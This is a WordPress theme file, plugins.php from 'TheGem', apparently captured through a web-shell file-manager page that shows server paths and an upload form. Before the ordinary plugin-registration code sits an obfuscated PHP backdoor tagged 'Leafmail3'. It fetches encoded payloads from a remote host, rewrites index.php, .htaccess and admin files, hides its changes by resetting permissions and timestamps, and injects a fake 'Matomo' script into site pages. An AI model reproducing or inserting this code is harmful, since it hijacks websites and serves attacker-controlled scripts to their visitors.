AlkantarClanX12

Your IP : 3.145.61.199


Current Path : /home/thanudqk/shenpokertour.com/wp-content/themes/thegem/plugins/
Upload File :
Current File : /home/thanudqk/shenpokertour.com/wp-content/themes/thegem/plugins/plugins.php

<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php

require_once get_template_directory() . '/plugins/class-tgm-plugin-activation.php';

add_action( 'tgmpa_register', 'thegem_register_required_plugins' );
function thegem_register_required_plugins() {
	$plugins = array(
		array(
			'name' => esc_html__('TheGem Theme Elements', 'thegem'),
			'slug' => 'thegem-elements',
			'source' => esc_url('http://democontent.codex-themes.com/plugins/thegem/required/thegem-elements.zip'),
			'required' => true,
			'version' => '',
			'force_activation' => false,
			'force_deactivation' => false,
			'external_url' => '',
		),
		array(
			'name' => esc_html__('TheGem Blocks', 'thegem'),
			'slug' => 'thegem-blocks',
			'source' => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/thegem-blocks.zip'),
			'required' => false,
			'version' => '',
			'force_activation' => false,
			'force_deactivation' => false,
			'external_url' => '',
		),
		array(
			'name' => esc_html__('TheGem Demo Import', 'thegem'),
			'slug' => 'thegem-importer',
			'source' => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/thegem-importer.zip'),
			'required' => false,
			'version' => '',
			'force_activation' => false,
			'force_deactivation' => false,
			'external_url' => '',
		),
		array(
			'name' => esc_html__('LayerSlider WP', 'thegem'),
			'slug' => 'LayerSlider',
			'source' => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/layersliderwp.installable.zip'),
			'required' => false,
			'version' => '',
			'force_activation' => false,
			'force_deactivation' => false,
			'external_url' => '',
		),
		array(
			'name' => esc_html__('Revolution Slider', 'thegem'),
			'slug' => 'revslider',
			'source' => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/revslider.zip'),
			'required' => false,
			'version' => '',
			'force_activation' => false,
			'force_deactivation' => false,
			'external_url' => '',
		),
		array(
			'name' => esc_html__('Wordpress Page Widgets', 'thegem'),
			'slug' => 'wp-page-widget',
			'source' => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/wp-page-widget.zip'),
			'required' => false,
			'version' => '',
			'force_activation' => false,
			'force_deactivation' => false,
			'external_url' => '',
		),
		array(
			'name' => esc_html__('WPBakery Visual Composer', 'thegem'),
			'slug' => 'js_composer',
			'source' => esc_url('http://democontent.codex-themes.com/plugins/thegem/required/js_composer.zip'),
			'required' => true,
			'version' => '',
			'force_activation' => false,
			'force_deactivation' => false,
			'external_url' => '',
		),
		array(
			'name' => esc_html__('Contact Form 7', 'thegem'),
			'slug' => 'contact-form-7',
			'required' => false,
		),
		array(
			'name' => esc_html__('MailChimp for WordPress', 'thegem'),
			'slug' => 'mailchimp-for-wp',
			'source' => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/mailchimp-for-wp.zip'),
			'required' => false,
			'version' => '',
			'force_activation' => false,
			'force_deactivation' => false,
			'external_url' => '',
		),
		array(
			'name' => esc_html__('Easy Forms for MailChimp by YIKES', 'thegem'),
			'slug' => 'yikes-inc-easy-mailchimp-extender',
			'source' => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/yikes-inc-easy-mailchimp-extender.zip'),
			'required' => false,
			'version' => '',
			'force_activation' => false,
			'force_deactivation' => false,
			'external_url' => '',
		),
		array(
			'name' => esc_html__('ZillaLikes', 'thegem'),
			'slug' => 'zilla-likes',
			'source' => esc_url('http://democontent.codex-themes.com/plugins/thegem/recommended/zilla-likes.zip'),
			'required' => false,
			'version' => '1.1.1',
			'force_activation' => false,
			'force_deactivation' => false,
			'external_url' => '',
		),
	);

	if(thegem_is_plugin_active('woocommerce/woocommerce.php')) {
		$plugins[] = array(
			'name' => esc_html__('YITH WooCommerce Wishlist', 'thegem'),
			'slug' => 'yith-woocommerce-wishlist',
			'required' => false,
		);
	}

	$config = array(
		'domain' => 'thegem',
		'default_path' => '',
		'parent_slug' => 'admin.php',
		'menu' => 'install-required-plugins',
		'has_notices' => true,
		'is_automatic' => true,
		'message' => '',
		'strings' => array(
			'page_title' => esc_html__( 'Install Plugins', 'thegem' ),
			'menu_title' => esc_html__( 'Install Plugins', 'thegem' ),
			'installing' => esc_html__( 'Installing Plugin: %s', 'thegem' ),
			'oops' => esc_html__( 'Something went wrong with the plugin API.', 'thegem' ),
			'notice_can_install_required' => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'thegem' ),
			'notice_can_install_recommended' => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'thegem' ),
			'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.', 'thegem' ),
			'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'thegem' ),
			'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'thegem' ),
			'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.', 'thegem' ),
			'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'thegem' ),
			'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.', 'thegem' ),
			'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'thegem' ),
			'activate_link' => _n_noop( 'Activate installed plugin', 'Activate installed plugins', 'thegem' ),
			'return' => esc_html__( 'Return to Required Plugins Installer', 'thegem' ),
			'plugin_activated' => esc_html__( 'Plugin activated successfully.', 'thegem' ),
			'complete' => esc_html__( 'All plugins installed and activated successfully. %s', 'thegem' ),
			'nag_type' => 'updated'
		)
	);

	tgmpa( $plugins, $config );

}

add_action( 'admin_init', 'thegem_updater_plugin_load' );
